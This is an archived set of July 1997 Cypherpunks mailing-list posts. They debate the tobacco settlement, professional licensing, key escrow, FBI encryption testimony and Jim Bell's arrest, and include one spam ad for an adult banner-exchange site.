"National borders aren't even speed bumps on the information superhighway."









From jmr at shopmiami.com  Fri Jul 11 00:09:36 1997
From: jmr at shopmiami.com (Jim Ray)
Date: Fri, 11 Jul 1997 15:09:36 +0800
Subject: The Recent Trend in "Collective Contracts"
Message-ID: <3.0.16.19970711030249.330f1554@pop.gate.net>



-----BEGIN PGP SIGNED MESSAGE-----

At 10:49 PM 7/10/97 -0700, Steve Schear wrote:
...

>What if private citizens decided to place Joe Camel ads in print and TV or
>sponsor an event.  Would they also be constrained in their freedom of
>speech?

That depends on what constrains people. Those with the capital resources
to place TV ads or sponsor events would likely imagine the investigation
from bureaucrats into their connections with the evil weed. Bureaucrats
tend not to assume that liking the first amendment motivates anyone when
compared to the lure of filthy lucre (ample evidence to the contrary
notwithstanding). I can imagine a conversation something like this:

"Ok, let's look into the stock portfolio of this "Steve Schear" guy who
placed the ad that pissed the FDA commissioner off. Any RJR-Nabisco? What
about his family? Hey, call the IRS and see if he's been audited lately,
and plunk his name into that big FBI database CD-ROM we got from the
Whitehouse."

Leaving aside regulations governing TV stations and possible pressures
on event promoters by government, I don't think that private citizens
with the means to do this would have the will.

As an increasingly less-partisan-and-more-anarchistic Libertarian, I
must point out a little-noted aspect of the Democrats' scam (there is
no other word).

(from http://www.washtimes.com/politics/inside.html)
                               Donor guests
        . . . . The Democratic Congressional Campaign Committee
        scheduled a small dinner last night at La Brasserie. Among
        the "donor guests" of the anti-smoking party: Philip
        Morris, R.J. Reynolds and the Tobacco Institute.

What still gets me is the shamelessness of it. This is like N.O.R.M.L.
taking money from pee-test manufacturers (they don't, AFAIK). I know,
"strange bedfellows" and all, but you'd think that they'd wait to dine
privately together until their little public tiff is settled. I guess
they figured that they can count on the media (aside from the Washtimes)
not to call them on it.
JMR

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From kent at songbird.com  Fri Jul 11 00:57:37 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 11 Jul 1997 15:57:37 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <19970711004824.00907@bywater.songbird.com>



On Thu, Jul 10, 1997 at 06:36:13PM -0400, Peter Swire wrote:
> At 09:29 AM 7/10/97 -0700, Tim May wrote:
> >I'm not a lawyer, but I am interested in the various ramifications--and the
> >constitutionality--of recent "sweeping contracts" between vendors,
> >lawmakers, consumers, etc.
> >
> >Two recent example:
> >
> >1. The "tobacco agreement." Supposedly a deal involving the transfer of
> >$360 billion from some number of tobacco companies in exchange for dropping
> >of liability suits, immunity from future claims, voluntary restrictions (!)
> >on advertising, etc. (And the "etc." is especially complicated in this huge
> >case.)
> 
>         So far as I know, the agreement has no legal effect until and unless
> a bill is enacted in Congress. Once a bill is enacted, there can obviously
> be far-reaching ramifications.  For instance, an individual's right to sue
> in tort can be cut off.  Punitive damages can be abolished for the defined
> class of suits, etc.
>         If such a bill is enacted, various groups would likely sue on the
> basis that it is unconstitutional.  That's what happened with CDA -- the
> indecency provisions first became law, and then were overturned in the courts.

Hmmm.  I thought the basis was completely different.  I thought the
deal was between legal officials of various states who were mounting
suits against the tobacco companies, and the tobacco companies.  That
is, it is essentially an "out of court" settlement of a civil lawsuit. 

As such, it would indeed not be binding on Tim May's Tobacco Co.  And
there are no particular constitutional issues involved, or free speech
issues, either, come to think of it -- the settlement is just between
the parties of a civil suit.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From stonedog at ns1.net-gate.com  Fri Jul 11 01:14:01 1997
From: stonedog at ns1.net-gate.com (stonedog at ns1.net-gate.com)
Date: Fri, 11 Jul 1997 16:14:01 +0800
Subject: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <199707110306.WAA02784@smoke.suba.com>
Message-ID: 



Ergotamine relieves migraines by restricting the flow of blood to the
brain. The effects of ingesting large quantities of this substance are
left as an experiment to those for whom a mind isn't such a terrible thing
to waste.

On Thu, 10 Jul 1997, snow wrote:

> 	Ergot, a mold that grows on certain types of Rye or fescue, I forget
> which. This is used to make Ergotamine (imine?) which is used in treatment
> of certain types of migraines. 

-- 
Brian Minder; 
"I've continually said that the biggest problem with secure authentication is
that secure authentication is not possible." --Robert Costner; EFGa.








From linkhost at hotmail.com  Fri Jul 11 16:21:09 1997
From: linkhost at hotmail.com (linkhost at hotmail.com)
Date: Fri, 11 Jul 1997 16:21:09 -0700 (PDT)
Subject: At Last ! FREE HITS from SexSwap
Message-ID: <199707112215.SAA09349@loki.atcon.com>


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Pyramids, consoles, and circle-loops...they are all brilliant creations, 
but many of them are written in Java, and many of them bomb your 
customer's browsers. 70-90% of the market uses Netscape and Internet 
Explorer, but there is still a segment of the population using rarer, or 
older browsers. 10%-20% isn't huge, but it is enough to make a dent in 
your pocket book. A bombed customer does not click on a link and does not 
make you cash. Sexswap is written in good old C++, a man's programming 
language,) fast and stable.

5 No side effects
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Pyramids, Consoles, and circle-loops all tend to advertise themselves, 
rather than your site. A fresh sew surfer can easily be lured away from 
your site when encountered by these new fangled advertising devises. 
Aesthetics...have you ever seen a console that made your page look 
better? Page-load times...these tricky java programs can slow down your 
page, and slowness can mean less surfers and less clicks. Sexswap 
requires only one simple banner be placed on your page. We even use our 
bandwidth to load the banners 

6 Real-time statistics
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Sexswap offers the following stats in real-time formats
Number of ads your site has shown: 
Number of times your ad was shown: 
Number of visits to your site: 
Click-thru ratio: 
Number of credits you have: 0 (2 credits = 1 ad display)

7 GIF - JPG - Animated GIF all supported
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Sexswap can use any of the big three banner formats. Many of our 
competitors do not allow animation...we love animated gifs. The banner 
requirements for Sexswap are 468x60, less than 15k in size. The banners 
on excite and infoseek also follow this standard format.

8 Ultra Fast Servers
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
The tech boys asked us to include the following info about our 
servers...the boys were talking fast, so please excuse any spelling 
errors...Tiam Tomcats with true Pentium Pro 200's, 128 ram, Dual 3 gig 
IDE w/2 controllers, 2 cards, 2 drives for redundancy, 100mb switch 
cards, Netscape Commerce, Sysco 7513 Base DAC Sincillians fiber optic to 
backbone, connected to 6 DS-3 bandwidth on demand, going to 9+ DS-3's in 
October. The tech boys say this means Sexswap is fast and has the power 
to grow at an fast rate.

You can join Sexswap at 
http://www.sexswap.com

Do it today and get your banner shown around the world within 3 minutes.






From paul at fatmans.demon.co.uk  Fri Jul 11 03:36:36 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Fri, 11 Jul 1997 18:36:36 +0800
Subject: Controversy over UK escrow proposal (fwd)
Message-ID: 




---------- Forwarded message ----------
Date: Wed, 09 Jul 1997 12:08:13 +0100
From: Ross Anderson 
To: ukcrypto at maillist.ox.ac.uk
Cc: prz at pgp.com
Subject: Controversy over UK escrow proposal

This may be of interest, as the first news report that a government
department is going on the record to oppose the escrow proposals of
another government department.

Ross


Encryption: NHS FIGHTS TO BE EXEMPT FROM TTP

Service claims key data access would breach patient confidentiality

(Network Week v 2 no 41 (9/7/97), front page lead)

By Daryl Wilcox

The NHS has demanded to be exempt from proposed regulations requiring
encryption keys to be lodged with a trusted third party (TTP).

  The NHS said it was concerned that if keys to medical data were
held by TTPs, as proposed by the DTI for access by law enforcernent
agencies, patients would lose confidence in the service's commitment
to confidentiality.

  A source close to the DTl confirmed last week that the NHS had
called for an exemption from TTP rules in a submission to the DTI on
its proposals. The NHS is keen to be free to adopt encryption to
allow the electronic movement of patient records between hospitals
and GPs.

  The move looked likely to fuel widespread objection to the
proposals from commerce and civil liberties groups, who would
interpret the NHS position as a blow to thc credibility of a
compulsory TTP system.

  Marion Bain, hcad of data protection issues at the Common Services
Agency of the NHS, raised the NHS's concerns at last week's annual
conference of data protection professionals' club Privacy and
Business.

  ``The NHS concerns are different to business con- cems,'' she
said. ``Patients would be resistant to the electronic transfer of
their information if they thought access to it was available to a
third party. The NHS would welcome being exempt from TTP rules.''

  A source close to tlie DTI said: ``The NHS wants no part of a TTP
rule. They have fought hard for patient data to only be made
available to clinical practitioners and they want to preserve this.''

(ends)






From dlv at bwalk.dm.com  Fri Jul 11 06:05:05 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 21:05:05 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: 
Message-ID: <5HFo0D4w165w@bwalk.dm.com>



Tim May  writes:
> A third possibility, and one which deserves a longer essay by someone, is
> the role quasi-private organizations play. To cut to the chase,
> organizations like the American Bar Association, American Medical
> Association, etc.

I think one of the possible scenarios is that all tobacco companies,
present and future, will have to become members of a "private"
self-regulatory organization - sort of like NASD.

> These "guilds" are an interesting case of self-policing where there is no
> option for opting out. (I don't believe it is possible to practice law or
> medicine without approval/licensing from these kinds of
> organizations/guilds.)

It is a CRIME is most jurisdictions.

> Licensing in general is something I think is getting out of hand.

Actually, licensing is a neat idea that leads to more efficient markets.
E.g., New York State licenses plumbers, contractors, barbers, etc; if
you enter into a contract with an unlicensed party for one of these
services, it won't be enforced by the state court. E.g. you can't
sue the unlicensed bricklayer for laying your bricks crooked, and he
can't sue you for not paying. :-) Here the state just says, if you
want our jurisdiction, you play by our rules and you pay a fee.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Fri Jul 11 06:05:27 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 21:05:27 +0800
Subject: Hacker cracks ESPN
In-Reply-To: <3.0.2.32.19970710200813.03f1f290@mail.teleport.com>
Message-ID: <69eo0D3w165w@bwalk.dm.com>



Alan Olsen  writes:
>           Two separate but chilling messages were sent to people who
>           purchased items online from ESPNet or the NBA Store this
>           week. The first anonymous E-mail told shoppers they had
>           been the victims of careless security and that their
>           credit-card numbers and addresses were easily available.
>
>           The second message, sent by E-mail and regular mail by the
>           World Wide Web sites' host, Starwave Corp., alerted 2,397
>           online shoppers that their credit-card information might have
>           been misappropriated.

Were these two sites running C2Net's "Stronghold"?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Fri Jul 11 06:06:23 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 21:06:23 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: 
Message-ID: 



Tim May  writes:
> Individual responsibility, free choice, a drastically reduced set of laws,
> and end to all subsidies of any and all products, reduced tariffs, and an
> end to social engineering through tax and tariff policies and
> incentives/disincentives to businesses.

Freedom to act stupid.

Freedom of religion is the freedom to give one's money to crooks, many
of whom don't believe the nonsense they preach.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From swire.1 at osu.edu  Fri Jul 11 07:45:36 1997
From: swire.1 at osu.edu (Peter Swire)
Date: Fri, 11 Jul 1997 22:45:36 +0800
Subject: The Recent Trend in "Collective Contracts"
Message-ID: <199707111431.KAA21954@mail3.uts.ohio-state.edu>



At 10:05 PM 7/10/97 -0700, Tim May wrote:
>A thoughtful response from Peter Swire.

        Thanks kindly.

>A third possibility, and one which deserves a longer essay by someone, is
>the role quasi-private organizations play. To cut to the chase,
>organizations like the American Bar Association, American Medical
>Association, etc.
>
>These "guilds" are an interesting case of self-policing where there is no
>option for opting out. (I don't believe it is possible to practice law or
>medicine without approval/licensing from these kinds of
>organizations/guilds.)

        You might check out my article on "Markets, Self-Regulation, and
Government Enforcement in the Protection of Personal Information."  Among
other topics, I talk about self-regulation by licensing organizations.  The
piece is posted at my web site.  It is also the lead chapter in a recent
report by the National Telecommunications and Information Administration on
"Self-Regulation and Privacy in the Information Age", on their web site at
http://www.ntia.doc.gov.

        Peter



Prof. Peter Swire
Ohio State University
College of Law
mailto:swire.1 at osu.edu
web: http://www.osu.edu/units/law/swire.htm (in early stages of construction)






From frissell at panix.com  Fri Jul 11 08:57:56 1997
From: frissell at panix.com (Duncan Frissell)
Date: Fri, 11 Jul 1997 23:57:56 +0800
Subject: Airlines to start profiling, bag matching
In-Reply-To: 
Message-ID: <3.0.2.32.19970711114124.00699960@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 08:41 PM 7/10/97 -0700, Alan Olsen wrote:

>"Is this Nazi land so good?  Would you leave it if you could?" - from the
>missing part of the Clinton inaguration speech

Or how about the Clash's "I'm Sick and Tired of the USA"

DCF

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From frissell at panix.com  Fri Jul 11 09:00:08 1997
From: frissell at panix.com (Duncan Frissell)
Date: Sat, 12 Jul 1997 00:00:08 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: 
Message-ID: <3.0.2.32.19970711102559.00699960@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 09:29 AM 7/10/97 -0700, Tim May wrote:
>
>1. The "tobacco agreement." Supposedly a deal involving the transfer of
>$360 billion from some number of tobacco companies in exchange for dropping
>of liability suits, immunity from future claims, voluntary restrictions (!)
>on advertising, etc. (And the "etc." is especially complicated in this huge
>case.)

Note that the tobacco agreement was announced the same day as the NYT Net 
Threat story about how a drug culture is thriving unopposed on the Net.  The 
coincidence of these two events suggests what will happen to the Tobacco 
Settlement whether or not it is formally approved.

Just as third party political advertising defeated campaign regulations, I 
expect third party "advertizing" for controversial substances to defeat 
"voluntary" ad bans.

There are already plenty of cigarette sites on the Net and even though "Big 
Tobacco" may try and use copyright law to restrict pro cigarette third party 
"advertizing", those attempts will not succeed very well.  Boutique tobacco 
brands drop shipped from Mexico can play a part as well.  "Death's Head" 
cigarettes are supposed to be selling pretty well in the UK.  Cigarettes and 
cigars are all throughout pop culture these days (Julia Roberts looked good 
chain smoking in "My Best Friend's Wedding") and the authorities don't have 
much of an argument that will be successful against "cool" cigarettes.  The 
more they warn about cigarettes killing you, the cooler they'll seem.  Poor 
Gen X, Y, and Zers lack much of substance to revolt against these days so the 
Health Nazis are supplying a valuable authority figure to serve as the object 
of such a revolt.  

Heroic Mohawk (and other) cigarette smugglers smashed the high Canadian 
tobacco taxes a few years ago.  In a market in which everything is a boutique 
good and anyone with a little cash can put together a whole purchasing, 
production, and distribution chain overnight without actually hiring anyone, 
ordinary entrepreneurs will be able to supply the demand for cigarettes even 
while the Health Nazis think they've accomplished something by gelding "Big 
Tobacco."  They haven't noticed that size doesn't matter much in efficient 
markets. 

DCF

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From alano at teleport.com  Fri Jul 11 09:38:39 1997
From: alano at teleport.com (Alan)
Date: Sat, 12 Jul 1997 00:38:39 +0800
Subject: Jim Bell (FINALLY!) Charged
Message-ID: 



Oregonian Friday July 11, 1997 Page B3

Man whose home was raided by IRS agents is charged

A man whose Vancouver home was raided by IRS agents in April has been
charged with two felonies in Tacoma.

James D. Bell was charged Wednesday with interfearing with a federal
officer and using false Social Security numbers.  He has been held without
bail in the Pierce County Jail since his May 18 arrest.

Bell, 38, is scheduled to be arrained July 18 before U.S. Magistrate J.
Kelly Arnold.

However, sources close to the case said Thursday that plea negotiations
are under way and are likely to be concluded before then.

Bell's home was raided and searched April 1 by an IRS task force of 20
agents.

In an affidavit for the search warrant, IRS Special Investigator Jeff
Gordon said that Bell was "directly soliciting others to set up a system
to murder government officials" and that he had devised a plan to
overthrow the government.

At a detention hearing in Tacoma, Arnold ordered Bell held without bail on
both allegations.

alano at teleport.com | "Those who are without history are doomed to retype it."






From frissell at panix.com  Fri Jul 11 09:41:16 1997
From: frissell at panix.com (Duncan Frissell)
Date: Sat, 12 Jul 1997 00:41:16 +0800
Subject: Freeh's Testimony (FBI Seeks Domestic GAK)
In-Reply-To: 
Message-ID: <3.0.2.32.19970711122229.006c8c44@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

>Statement of Louis J. Freeh, Director, FBI, before the Senate Judiciary
>Committee Hearing on Encryption, United States Senate, Washington, D. C. -
>July 9, 1997

>Would we allow a car to be driven with features which would evade and
>outrun police cars? 

But we do.  Two hundred MPH cars remain street legal most places.  With a 
good driver, these cars can even move fast enough to outrun radio 
communications (or rather the response time involved in radio 
communications).  The search circle that contains them becomes too big too 
fast.

>Would we build houses or
>buildings which firefighters could not enter to save people?

These remain legal as well.  Heinlein's reinforced concrete house on Bonny 
Doone road in the Santa Cruz mountains.  It is perfectly legal to build a 
reinforced concrete structure that could defeat entry for many days.

More generally, it is legal not to speak and thus to deprive police and 
prosecutors of the contents of your mind.  Crypto just extends this right.

>Most importantly, we are not advocating that the privacy rights or personal
>security of any person or enterprise be compromised
>or threatened. You can't yell "fire" in a crowded theater. 

I don't think this has ever been tested in court.  I'll bet their are many 
circumstances in which it is perfectly legal to shout fire in a(n unburning) 
crowded theater.

>You can't with
>impunity commit libel or slander. 

Unless you're judgement proof.  These are usually civil not criminal matters 
in the Land of the Free and the Home of the Brave.

>In support of our position for a rational encryption policy which balances
>public safety with the right to secure communications,
>we rely on the Fourth Amendment to the Constitution. There the framers
>established a delicate balance between "the right of the
>people to be secure in their persons, houses, papers, and effects (today we
>might add personal computers, modems, data
>streams, discs, etc.) against unreasonable searches and seizures." Those
>precious rights, however, were balanced against the
>legitimate right and necessity of the police, acting through strict legal
>process, to gain access by lawful search and seizure to the
>conversations and stored evidence of criminals, spies and terrorists.

Course you long ago dropped the bit about "reasonable cause to believe a 
*crime *has been* committed."  Loads of preventive wiretaps and regulatory 
searches in the absence of even the accusation of a crime.  Violating Regs is 
usually not a crime.

>The precepts and balance of the Fourth Amendment have not changed or
>altered. What has changed from the late eighteenth to
>the late twentieth century is technology and telecommunications well beyond
>the contemplation of the framers.

Course the Framers didn't have wiretaps either since they had no wires.  
We're just trying to restore the balance to the way it was in those days.  No 
wiretaps.

DCF

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From jim.burnes at ssds.com  Fri Jul 11 09:41:37 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Sat, 12 Jul 1997 00:41:37 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: 
Message-ID: 





On Fri, 11 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> Tim May  writes:
> > Individual responsibility, free choice, a drastically reduced set of laws,
> > and end to all subsidies of any and all products, reduced tariffs, and an
> > end to social engineering through tax and tariff policies and
> > incentives/disincentives to businesses.
> 
> Freedom to act stupid.
> 
> Freedom of religion is the freedom to give one's money to crooks, many
> of whom don't believe the nonsense they preach.
> 

Yes, Dimitri.  Freedom is also the freedom to act "stupid".  Since
"acting stupid" is a subjective evaluation it implies that one is
allowed to make subjective, individual decisions.   This is as
opposed to having a central authority decide what is and isn't 
stupid -- telling us how to lead more efficient, carefully planned
lives.

Freedom is not necessarily efficient, but it beats the hell out of
whatever comes next.

"Sometimes it is said that man cannot be trusted with the government of
himself. Can he, then, be trusted with the government of others? Or have
we found angels in the form of kings to govern him? Let history answer
this question." --Thomas Jefferson: 1st Inaugural, 1801. 

'Nuf said...

Jim Burnes








From swire.1 at osu.edu  Fri Jul 11 10:45:53 1997
From: swire.1 at osu.edu (Peter Swire)
Date: Sat, 12 Jul 1997 01:45:53 +0800
Subject: Subject: Re: The Recent Trend in "Collective Contracts"
Message-ID: <199707111736.NAA18795@mail3.uts.ohio-state.edu>



At 08:12 PM 7/10/97 -0700, Marshall Clow wrote:

>> 
>>        The big legal fight on ratings is whether any "state action" takes
>>place.  The First Amendment governs efforts by a federal or state government
>>to restrict speech.  If private companies "voluntarily" agree to do
>>something, the First Amendment simply does not apply.  But if the coercive
>>power of the state forces them to do the same thing, then the courts can get
>>involved under the First Amendment.
>>        Here, if the government is too explicit that it will ban certain
>>speech unless the networks ban it, then a court might find that the
>>government in fact is involved in an impermissible way.
>>
>What is the (legal) downside to a network (or producer)
>saying "No, I won't rate my shows."?
>Personally, I'd love to see Disney do this.

        Today's papers are filled with the new "voluntary" rating system
that most of the networks agreed to.  One of the threats, for whoever didn't
join, would be a *ban* on violent programming before 10 p.m.  Networks that
did join would do the rating, and so would not be subject to the ban.

        So, the analysis really takes two steps:
        (1) If "voluntary" and "private", the courts don't get involved
under the first amendment, because no state action.  Yesterday, Camel
announced that it "voluntarily" had decided to stop using Joe Camel.
        (2) If "involuntary" and "state action", then it's like the CDA
case.  The Court looks at the size of the burden on protected speech, and
then looks to see if their is a less restrictive alternative.  For instance,
the "no violence before 10 p.m." rule would be scrutinized like the
"indecency" provision in the CDA. Then you go to Vegas and bet on what the
courts will say. :)

        Peter

Prof. Peter Swire
Ohio State University
College of Law
mailto:swire.1 at osu.edu
web: http://www.osu.edu/units/law/swire.htm (in early stages of construction)






From tcmay at got.net  Fri Jul 11 11:36:43 1997
From: tcmay at got.net (Tim May)
Date: Sat, 12 Jul 1997 02:36:43 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: 



At 12:48 AM -0700 7/11/97, Kent Crispin wrote:
...
>Hmmm.  I thought the basis was completely different.  I thought the
>deal was between legal officials of various states who were mounting
>suits against the tobacco companies, and the tobacco companies.  That
>is, it is essentially an "out of court" settlement of a civil lawsuit.
>
>As such, it would indeed not be binding on Tim May's Tobacco Co.  And
>there are no particular constitutional issues involved, or free speech
>issues, either, come to think of it -- the settlement is just between
>the parties of a civil suit.

The agreement halts future lawsuits, thus depriving those who have not yet
sued, or even those who have not yet contemplated suing, from seeking
redress in the courts.

This would seem to be a rather major constitutional issue.

It's also unclear whether the "agreement" covers tobacco companies not even
extant at this time (hence my use of the "Tim's Tobacco Company" example,
where TTC is incorporated in 1998 and begins advertising with Joe
Camel-type ads. Several states attorneys general have opinined that the
deal means a complete end to such advertising, to sponsorship of sporting
events by tobacco companies, etc.

BTW, we're not the only ones who think this agreement, and the enabling
legislation which is supposed to come from Congress, raise very serious
constitutional questions.

The problem may lie in class action suits in general. I'm no constitutional
scholar, but I rather doubt the Framers had in mind the concept that J.
Random Luser could sue in courts "on behalf" of thousands or millions of
others who have not even joined the suit or may not even be aware of the
suit, or may not support the suit. And the notion that the states, or
insurance companies, or whatever, could sue to collect their costs when no
contract was involved...well, this is just plain absurd. If I eat too many
hamburgers and develop coronary disease, and some insurance company loses
money on me....they cannot sue MacDonalds or Burger King for making their
costs higher, any more than an exercise gym or health food store can sue
the insurance company and demand a part of the "savings" from the
presumably healthier clients!

There are indeed deep constitutional issues involved in both of the cases
being discussed in this thread.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From frissell at panix.com  Fri Jul 11 11:51:07 1997
From: frissell at panix.com (Duncan Frissell)
Date: Sat, 12 Jul 1997 02:51:07 +0800
Subject: Jim Bell (FINALLY!) Charged
In-Reply-To: 
Message-ID: <3.0.2.32.19970711142447.0076de2c@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 09:29 AM 7/11/97 -0700, Alan wrote:
>Oregonian Friday July 11, 1997 Page B3
>
>James D. Bell was charged Wednesday with interfearing with a federal
>officer 

Don't you (or someone you conspire with) actually like have to communicate or 
be in the presence of a federal officer for that federal officer to be 
interfered with?  I don't remember any direct interference from the 
paperwork.

>and using false Social Security numbers.  He has been held without
>bail in the Pierce County Jail since his May 18 arrest.

Sounds dangerous.  How did he use them?

>However, sources close to the case said Thursday that plea negotiations
>are under way and are likely to be concluded before then.

Another one of those face saving plea bargains that the Feds accept when they 
know they've bit the big one.

[Warning old, politically incorrect law school joke coming up.]

What was the biggest charge reduction in the history of plea bargaining?  
That would have been the reduction from a charge of Sodomy to a charge of 
Following Too Close. -- From the International Committee for the Preservation 
of Politically Incorrect Law School Jokes.

>In an affidavit for the search warrant, IRS Special Investigator Jeff
>Gordon said that Bell was "directly soliciting others to set up a system
>to murder government officials" and that he had devised a plan to
>overthrow the government.

So where are these "others" and why are they still being allowed to walk the 
streets?  Last time I looked, it was legal to devise a plan to overthrow the 
government.

They always prey on the weak or sick.

DCF

All right.  You forced me.  "Why do they call it the 'Reasonable Man Test'?  
Because there's no such thing as a reasonable woman."  (See Above)  [Duck and 
Cover!]

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hroOWvg/MYZAcfxtBbALq3LcZTjC86U8wzAq0NgQartax1rewQWPmNuv6/R7aY3R
amSbtT+AVtRNRNfDtRN5Tq7rxwY9bTAcaP4EyMLgLLLfW9XPt+vmFUy6nCREFUcO
zSOZaNqmXFM=
=K6QM
-----END PGP SIGNATURE-----






From enoch at zipcon.net  Fri Jul 11 12:11:42 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Sat, 12 Jul 1997 03:11:42 +0800
Subject: Jim Bell (FINALLY!) Charged
In-Reply-To: 
Message-ID: <19970711185958.11905.qmail@zipcon.net>




> James D. Bell was charged Wednesday with interfearing with a federal
> officer and using false Social Security numbers. 

Both of which are bailable offenses, and completely unrelated to 99%
of the inflammatory horseshit spewed forth by the government over this
case.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $






From jad at dsddhc.com  Fri Jul 11 12:12:22 1997
From: jad at dsddhc.com (John Deters)
Date: Sat, 12 Jul 1997 03:12:22 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: 
Message-ID: <3.0.1.32.19970711140214.009738d0@labg30>



At 08:06 AM 7/11/97 EDT, dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) wrote:
>Tim May  writes:
>> These "guilds" are an interesting case of self-policing where there is no
>> option for opting out. (I don't believe it is possible to practice law or
>> medicine without approval/licensing from these kinds of
>> organizations/guilds.)
>
>It is a CRIME is most jurisdictions.
>
>> Licensing in general is something I think is getting out of hand.
>
>Actually, licensing is a neat idea that leads to more efficient markets.
>E.g., New York State licenses plumbers, contractors, barbers, etc; if
>you enter into a contract with an unlicensed party for one of these
>services, it won't be enforced by the state court. E.g. you can't
>sue the unlicensed bricklayer for laying your bricks crooked, and he
>can't sue you for not paying. :-) Here the state just says, if you
>want our jurisdiction, you play by our rules and you pay a fee.

How does this make for a more "efficient" market?  All I see is increased
costs of doing business (paying for the licensing), and increased costs to
the consumer (hiring a licensed contractor).  The benefit?  You're allowed
to invite the government into disputes.

Don't get me wrong, I understand the theory behind licensing.  It implies
that the licenseholder is proficient at his or her task (or at least was
when the license was granted.)  This can be important to public safety, in
that a shoddy electrician could cause a fire that could burn an entire
block, or that a hygenically-challenged barber could transmit nasty virii
via unsterilized scissors.  

Public Safety is therefore served.  But where does the efficiency come from?

--

The self-policing guilds Tim mentions above exist because even the law
recognizes that it is unable to adequately define the boundaries within
which a physician must operate.  (You'd think lawyers would be able to get
it down legally on paper, but then there'd be no more need for congress
(spit) and they'd be out of jobs...)  They take on the function of an
electrician's license, since there's no "National Physicians Code" to
measure them by.

Let's apply it to us.  Take the case of a programmer who writes the code
for an electronic defibrillator.  Obviously, the code needs to be
"perfect", or else the machine might deliver a lethal shock.  Who should
write it?  A "licensed" programmer?  A member of the ACM?  A graduate of
MIT?  J Random StreetPerson?  

Let's say it fails in operation, killing a patient.  It's shown that faulty
code is responsible.  Do we yank the programmer's license, or his
membership in the ACM?  Contact MIT and revoke his diploma?  Sue MIT for
granting him one in the first place?  Put him back on the streets?  

What if it's the fault of the VisualSnozz++ compiler?  Can we go back and
pull Microsoft's coder's ACM membership?  Take away his license to code?
Pull the original coder's license for failing to use a compiler written by
an ACM certified professional?  Put Bill Gates in jail for selling it?

Would membership in the ACM be "proof" to an employer that this person
would produce "bug-free" software?  Would they bond and insure their code,
etc.?

The big questions, then, are:
Does regulation fit our industry?  If so, where?
Will I be kicked out of the ACM for writing non-GAKked encryption software?
 ...for posting to cypherpunks in support of non-GAKked software?
...for having an incorrect political viewpoint?  A conviction for
thoughtcrime?

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in ActiveX sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad at dsddhc.com (work)   mailto:jad at pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+






From kent at songbird.com  Fri Jul 11 12:17:42 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 12 Jul 1997 03:17:42 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <19970711120620.08802@bywater.songbird.com>



On Fri, Jul 11, 1997 at 11:28:39AM -0700, Tim May wrote:
> At 12:48 AM -0700 7/11/97, Kent Crispin wrote:
> ...
> >Hmmm.  I thought the basis was completely different.  I thought the
> >deal was between legal officials of various states who were mounting
> >suits against the tobacco companies, and the tobacco companies.  That
> >is, it is essentially an "out of court" settlement of a civil lawsuit.
> >
> >As such, it would indeed not be binding on Tim May's Tobacco Co.  And
> >there are no particular constitutional issues involved, or free speech
> >issues, either, come to think of it -- the settlement is just between
